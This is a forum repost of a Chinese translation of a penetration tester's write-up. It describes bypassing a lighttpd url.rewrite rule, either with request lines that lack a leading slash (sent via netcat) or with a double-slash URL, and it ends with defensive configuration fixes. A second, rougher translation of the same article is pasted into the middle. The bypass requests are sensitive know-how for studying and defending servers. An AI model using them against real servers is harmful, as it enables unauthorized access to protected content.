首页
社区
课程
招聘
[翻译]无效的HTTP请求并绕过lighttpd中的重写规则
2018-8-12 19:28 4996

[翻译]无效的HTTP请求并绕过lighttpd中的重写规则

2018-8-12 19:28
4996

最近,在对一个托管在lighttpd服务器上的Web应用程序的测试中,我遇到了一个奇怪的情况,让我摸不着头脑,并且使用了我通常用于网络测试的技术。这篇文章记录了我是如何处理两个问题并发现lighttpd中一个有趣的导致意外漏洞的问题。

如果您不想阅读整篇文章,可以直接跳到问题和漏洞的摘要(见文末)。

故事

作为测试的一部分,客户端提供了文档根目录列表,在使用Intruder启动完整的扫描之前,我正在Burp的转发器中查看几个选择页面。有一页看起来非常有趣,叫secret.html。我提出了页面请求并获得了秘密内容:

这似乎很容易,但我不抱怨。于是我转向了浏览器,输入URL并被告知“不,不能看到数据”。

这不在我的预料之内,也许它与会话相关,但在Burp的代理中查看到的请求看起来却非常相似。Firefox引入了一些额外的标题,但这是可以预料的。

如果不用Firefox,我能用curl查看这些内容吗?打开我的Repeater选项卡,复制其的URL并将其放到命令行中:

$ curl -i http://192.168.0.93secret.html

好吧,这看起来有点奇怪,URL被破坏了但我可以修复它:

$ curl -i http://192.168.0.93/secret.html
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Date: Fri, 20 Apr 2018 19:28:13 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

这并不在我的预料之内,于是,我请求Burp给我一个curl命令以代替上述代码,并运行:

$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
$'http://192.168.0.93secret.html'

没有返回任何东西,有点头疼。我注意到URL又被破坏了。针对这一点,我应该意识到已经出了问题,但我没有,我只是修复了URL并再次进行尝试:

$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
$'http://192.168.0.93secret.html'

HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Date: Fri, 20 Apr 2018 19:29:32 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

好吧,非常奇怪。Burp可以得到秘密内容,但Firefox和curl不能。让我们试试netcat。我建立连接后,从Repeater选项卡中复制请求:

$ nc 192.168.0.93 80
GET secret.html HTTP/1.1
Host: 192.168.0.93
Connection: close

仍然没有返回任何东西,一直保持着连接但服务器没有响应。也许我犯了一个拼写错误,于是我将请求放入一个文件并尝试执行:

$ cat get_secret_request | nc 192.168.0.93 80

另一个挂连接,没有响应。在这一点上我真的很困惑,下面是我已经的得到的信息:

Burp可以获得秘密内容

Curl无法使用Burp提供的URL获取秘密

Burp提供的curl命令无法得到秘密

netcat的任何操作都会挂起

在这些请求之间必定存在着某些差异,但我看不到它们。让我们继续,使用Wireshark试试看。

首先,Burp请求:

接下来,使用由Burp创建的curl命令:

这里存在着一些差异,此请求具有curl用户代理和额外的accept标头。WAF和其他简单的保护系统经常回复用户代理检测,所以也许就这么简单,让我们再次尝试curl来删除这些额外的标头:

$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
-H $'User-Agent:' -H $'Accept:' \
$'http://192.168.0.93/secret.html'

仔细观察这些请求时发现它们都差不多,但紧接着我发现了差异。Burp请求的是secret.html,而curl请求的是/secret.html。这个额外的‘/’应当就是造成差异的原因,也能解释为什么Burp给我的URL和它创建的curl命令都缺少‘/’。Burp能够发出有指定页面名称的请求,但curl要求URL中要包含这个页面的名称。

看来我将无法使用curl重现请求,让我们回到netcat,看看是否可以知道失败的原因。我们检查Wireshark中的netcat连接:

仔细观察这两个发送至secret.html页面(而不是/secret.html)的请求,你会发现它们都差不多,但一定还存在着一些细微的差别。十六进制视图是什么样的呢?

经过一番观察,我终于发现了它们之间的差异。Burp请求是使用DOS行结尾(\r\n),而netcat使用的是Unix(\n)。由于我已经在文件中得到了请求,使用vim就可更改行结尾,只需打开文件,输入:

:set ff=dos

然后将它保存。如果您不是vim用户,dos2unix包中的unix2dos App也是一种选择。

转换后,让我们再试一次:

$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4169396764"
Last-Modified: Wed, 18 Apr 2018 22:42:18 GMT
Content-Length: 43
Connection: close
Date: Fri, 20 Apr 2018 21:35:12 GMT
Server: lighttpd/1.4.45

This is top secret stuff you shouldn't see

“中大奖了”!现在我可以通过netcat来重现请求了,让我们检查是否是‘/’导致了差异,将‘/’放到合适的位置并再次尝试:

$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Connection: close
Date: Fri, 20 Apr 2018 21:39:01 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

因此,可请求secret.html提供访问权限,而请求/secret.html时会被拒绝。这种类型的请求不能通过浏览器或任何其他的将整个URL作为参数的工具来进行,该请求只能通过理解页面并且主机是两个独立实体的东西来进行。

所以现在我能重现这个问题,但我仍不知道第一个地方存在差异的原因。这很烦人,但我想我可以在某个时候与开发人员讨论它,看看他们是否有任何想法。

后来......

除了进行应用程序测试之外,客户端还要求审查服务器配置,并且作为审查的任务之一,他们还提供了一部分lighttpd配置,当我发现下面这一行时,我正在挣扎:

url.rewrite-once = (
    "^/secret.html" => "/not_permitted.html"
)

看起来相当简单,任何以/secret.html页面名称开头的请求,都将在内部重新定向到/not_permitted.html。但是,由于我要请求的是secret.html,而不是/secret.html,这个规则不适用于我,我不会被重定向,因此可以查看秘密内容。

知道这一点,我想知道我是否可以使用curl或浏览器查看它的内容。我尝试的第一个网址是:

http://192.168.0.93/./secret.html

但curl和我尝试的所有浏览器在发出请求之前就被简化了,所以我最终还是使用了/secret.html。我尝试了各种./和../组合,都失败了,直到后面我使用下面的URL才成功:

http://192.168.0.93/.././..////secret.html

反转它直到它停止工作,我发现虽然点被简化了,但多余的斜线没有,所以后面的URL是有效的,并可获取秘密数据,因为所请求的页面是//secret.html,它与正则表达式相匹配。

http://192.168.0.93//secret.html

在确认过这个URL能够在各种浏览器中工作后,我发现了一些可以写在报告中的可靠的利用例子。它需要一段时间来完成所有工作,但这比给出Repeater的截图并说“看,我得到你的数据但我不知道是如何得到它的”要好得多。

我想您已经了解了我是如何调试此漏洞的有用信息。它有助于表明计算机具有确定性,并且事情的背后都是有动机的,有时它只需要做一些工作来找出规则的定义。一旦你了解规则,就能更容易的参与和赢得比赛。

其他Web服务器

我决定尝试攻击Apache,NGINX和IIS,但它们都拒绝了我的请求,并返回了“400 Bad Request”。我还明确了它们都接受DOS或Unix行结尾。

Apache

$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Date: Fri, 20 Apr 2018 20:26:09 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 192.168.0.93 Port 80</address>
</body></html>

错误日志文件中还有以下记录:

[Fri Apr 20 20:26:09.244512 2018] [core:error] [pid 31042] [client 192.168.0.3:47832] AH00126: Invalid URI in request GET secret.html HTTP/1.1

NGINX

$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3
Date: Fri, 20 Apr 2018 19:22:39 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

NGINX日志文件中没有任何记录。

IIS

$ cat get_secret_request_dos | nc microsoft.com 80
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 22 Apr 2018 18:00:10 GMT
Connection: close
Content-Length: 324

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid URL</h2>
<hr><p>HTTP Error 400. The request URL is invalid.</p>
</BODY></HTML>

我没有访问IIS日志来检查记录。

防御

无效的HTTP请求并绕过lighttpd中的重写规则 家 博客 无效的HTTP请求并绕过lighttpd中的重写规则 4月30日星期一18日 在最近对lighttpd服务器上托管的Web应用程序的测试中,我遇到了一个奇怪的情况,让我摸不着头脑并使用我通常用于网络测试的技术。这是我如何处理两个问题并发现lighttpd的一个有趣问题导致意外漏洞的故事。

如果您不想阅读整个故事,可以直接跳到问题和漏洞的摘要。

故事 作为测试的一部分,客户端提供了文档根目录列表,我在使用Intruder启动完整扫描之前,正在Burp的转发器中查看几个选择页面。一页看起来非常有趣的是secret.html。我提出了它的请求并获得了秘密内容:

Burp Repeater请求显示秘密内容。

这似乎很容易,但我不抱怨,所以我转向浏览器,输入URL并告诉“不,你看不到数据”。

被拒绝访问Firefox中的秘密内容。

这不是我的预期,也许它与会话相关,但在Burp的代理中查看请求看起来非常相似。Firefox引入了一些额外的标题,但这是可以预料的。

在Burp的代理中的Firefox请求。

如果不是Firefox,我可以使用curl查看内容吗?看到我的Repeater选项卡打开,我抓住了那里的URL并将其放到命令行:

$ curl -i http://192.168.0.93secret.html 好吧,这很奇怪,URL被破坏但我可以解决它:

$ curl -i http://192.168.0.93/secret.html HTTP/1.1 200 OK Content-Type: text/html Accept-Ranges: bytes ETag: "4177750045" Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT Content-Length: 40 Date: Fri, 20 Apr 2018 19:28:13 GMT Server: lighttpd/1.4.45

You are not allowed to see that content 我没想到,所以我让Burp给我一个curl命令,然后运行:

$ curl -i -s -k -X $'GET' \ -H $'Host: 192.168.0.93' -H $'Connection: close' \ $'http://192.168.0.93secret.html' 什么都没有回来,有点头疼,我注意到URL又被打破了。在这一点上,我应该意识到出了问题,但我没有,我只是修复了URL并再次尝试:

$ curl -i -s -k -X $'GET' \ -H $'Host: 192.168.0.93' -H $'Connection: close' \ $'http://192.168.0.93secret.html'

HTTP/1.1 200 OK Content-Type: text/html Accept-Ranges: bytes ETag: "4177750045" Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT Content-Length: 40 Date: Fri, 20 Apr 2018 19:29:32 GMT Server: lighttpd/1.4.45

You are not allowed to see that content 好吧,非常奇怪的事情,Burp可以得到秘密的东西,但Firefox和curl不能,让我们试试netcat。我建立连接,从Repeater复制请求并...

$ nc 192.168.0.93 80 GET secret.html HTTP/1.1 Host: 192.168.0.93 Connection: close 什么都没有回来,连接保持打开但服务器没有响应。也许我有一个拼写错误所以我把请求放入一个文件并尝试使用:

$ cat getsecretrequest | nc 192.168.0.93 80 另一个挂连接,没有响应。在这一点上我真的很困惑,这就是我所拥有的:

Burp可以获得秘密内容 Curl无法使用Burp提供的URL获取秘密 Burp提供的curl命令无法得到秘密 任何使用netcat的尝试都会挂起 请求之间必定存在一些差异,但我看不到它们,所以让我们降低一下,看看Wireshark。

首先,Burp请求:

Wireshark查看Burp的请求显示秘密消息

接下来由Burp创建的curl命令:

Burp用拒绝消息创建的curl命令的Wireshark视图

存在一些差异,此请求具有curl用户代理和额外的接受标头。WAF和其他简单的保护系统经常回复用户代理检查,所以也许就这么简单,让我们再次尝试卷曲删除这些额外的标题:

$ curl -i -s -k -X $'GET' \ -H $'Host: 192.168.0.93' -H $'Connection: close' \ -H $'User-Agent:' -H $'Accept:' \ $'http://192.168.0.93/secret.html' 由Burp创建的curl命令的Wireshark视图,没有用户再次或接受标题但是另一个拒绝消息

盯着这些请求他们看起来都一样但后来我发现了差异,Burp请求secret.html,curl正在请求/secret.html。额外的领先/必须是差异,这也解释了为什么URL Burp给了我和它创建的curl命令都缺少/。Burp能够在请求中指定页面名称时发出请求,但curl要求页面成为URL的一部分。

看到我将无法使用curl重现请求,让我们回到netcat,看看我们是否可以解决为什么失败。我们来看看Wireshark中的netcat连接:

通过netcat发送请求的Wireshark视图

并排这两个请求看起来与去了secret.html而不是/secret.html的请求相同,但必须有一些区别,无论多么小。十六进制视图是什么样的?

Wireshark以十六进制显示Burp请求

Wireshark以十六进制显示Burp请求

经过一番凝视我终于发现了差异,Burp请求是使用DOS行结尾(\ r \ n),netcat使用的是Unix(\ n)。看到我在文件中得到了请求,使用vim很容易更改行结尾,只需打开文件,输入:

:set ff=dos 然后保存它。如果您不是vim用户,dos2unix包中的unix2dos应用程序也是一个选项。

转换后,让我们再试一次:

$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4169396764"
Last-Modified: Wed, 18 Apr 2018 22:42:18 GMT
Content-Length: 43
Connection: close
Date: Fri, 20 Apr 2018 21:35:12 GMT
Server: lighttpd/1.4.45

This is top secret stuff you shouldn't see

大奖!现在我可以通过netcat重现请求,让我们检查它是否是领先/有所不同。我把/放到位并再试一次:

$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Connection: close
Date: Fri, 20 Apr 2018 21:39:01 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

我们有它,请求secret.html提供访问权限,请求/secret.html被拒绝。这种类型的请求不能通过浏览器或任何其他将完整URL作为参数的工具来进行,该请求只能通过理解页面和主机是两个独立实体的东西来进行。

所以现在我可以重现这个问题,但我不知道为什么第一个地方存在差异。这很烦人,但我想我可以在某个时候与开发人员讨论它,看看他们是否有任何想法。

稍后... 除了进行应用程序测试之外,客户端还要求审查服务器配置,并且作为其中提供lighttpd配置的一部分,当我发现这一行时,我正在努力:

url.rewrite-once = (
    "^/secret.html" => "/not_permitted.html"
)

看起来相当简单,对以/secret.html开头的页面名称的任何请求都将在内部重定向到/not_permitted.html。但是,由于我要求secret.html,而不是/secret.html,此规则不适用于我,我不会被重定向,因此可以查看秘密内容。

知道这一点,我想知道我是否可以使用curl或浏览器查看内容。我尝试的第一个网址是:

http://192.168.0.93/./secret.html 但curl和我尝试的所有浏览器在发出请求之前简化了这一点,所以我最终还是使用了/seror.html。我尝试了各种./和../组合,都失败了,直到我最终成功了:

http://192.168.0.93/.././..////secret.html 反转它直到它停止工作,我发现虽然点得到简化,但额外的斜线没有,所以后面的URL是有效的,并获取秘密数据,因为所请求的文件是//secret.html,它与正则表达式。

http://192.168.0.93//secret.html 在确认这个URL在各种浏览器中工作后,我有一些可靠的东西,我可以在报告中作为利用的例子。它需要一段时间来完成所有工作,但这比给出Repeater的截图并说“看,我得到你的数据但我不知道如何”要好得多。

我希望您已经了解了我如何调试此漏洞的有用信息。它有助于表明计算机是确定性的,并且有一个原因背后的事情,有时它只需要一些工作来找出规则是什么。一旦你了解规则,玩游戏并获胜往往要容易得多。

其他Web服务器 我决定尝试对抗Apache,NGINX和IIS,这三个人都拒绝了请求,并发出了“400 Bad Request”响应。我还确认这三个人都对DOS或Unix行结尾感到满意。

Apache

$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Date: Fri, 20 Apr 2018 20:26:09 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 192.168.0.93 Port 80</address>
</body></html>

错误日志文件中还有以下条目:

[Fri Apr 20 20:26:09.244512 2018] [core:error] [pid 31042] [client 192.168.0.3:47832] AH00126: Invalid URI in request GET secret.html HTTP/1.1
NGINX
$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3
Date: Fri, 20 Apr 2018 19:22:39 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

NGINX日志文件中没有条目。

IIS
$ cat get_secret_request_dos | nc microsoft.com 80
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 22 Apr 2018 18:00:10 GMT
Connection: close
Content-Length: 324

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid URL</h2>
<hr><p>HTTP Error 400. The request URL is invalid.</p>
</BODY></HTML>

我没有访问IIS日志来检查条目。

防御

最简单的防御措施并不是在文档根目录中存储任何您不想被浏览的东西。如果secret.html存储在文档根目录之外,它仍然可以被任何页面使用,但是无法在URL中引用它。

在一些实验中,mod_access函数似乎传递了一个已被清理的页面名称,如果有需要会添加前导斜杠,并且会删除多余的斜杠。因此即使我们发错格式错误的请求,下面的拒绝规则也会使页面返回“403 Forbidden”:

$HTTP["url"] =~ "^/(secret.html)$" {
    url.access-deny = ("")
}

然后就可以将server.errorfile-prefix选项设置为传递自定义403页面。

如果您想使用重写规则来修复它,最简单的方法是从正则表达式中删除前导斜杠:

"secret.html" => "/not_permitted.html"

这个规则将阻止访问名称中包含secret.html的任何页面。如果这是网站上唯一一个此类型的页面,那么解决方案就会生效;如果其他人拥有view_secret.html页面,您只是为他们创建了一大堆问题,试图弄清楚他们再也看不到其页面的原因。

下面是一个更好的规则,其意思是,从页面名称的开头开始,secret.html后可跟任意数量的斜杠。这可以防止原始绕过手段,如零斜杠和其后使用的一两个斜杠都是允许的。

"^[/]*secret.html" => "/not_permitted.html"

我仍然认为这不是一个完美的解决方案,因为其他能够插入页面名称中的字符也许能绕过此规则。

最后一个解决方案将取决于secret.html的目的。如果它是由其他页面引入的模板文件,则可以在其中构建一些逻辑性的东西,这样的话,除非以正确的方式访问这个页面,否则它不会显示其内容。例如通过执行相同的身份验证和授权检查来引用它的页面。

问题和漏洞的摘要

对于那些没有阅读完整帖子的人,以下内容是本文的重点:

  • 对lighttpd的HTTP请求必须使用DOS(\r\n)行结尾,而不是Unix(\n);
  • lighttpd接受没有前导斜杠的请求,Apache,NGINX和IIS的页面的请求都拒绝这些请求;
  • url.rewrite 获取所请求的确切页面名称;
  • $HTTP["url"] 获取已被清理的页面名称;
  • 计算机是确定性的。如果它们看起来不是这样的,是因为你不懂其正在使用的规则;


原文链接:https://digi.ninja/blog/lighttpdrewritebypass.php

翻译:看雪翻译小组-Logdty

校对:看雪翻译小组-Logdty



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2019-2-2 13:37 被kanxue编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 32403
活跃值: (18860)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2018-8-12 20:22
2
0
辛苦了!
游客
登录 | 注册 方可回帖
返回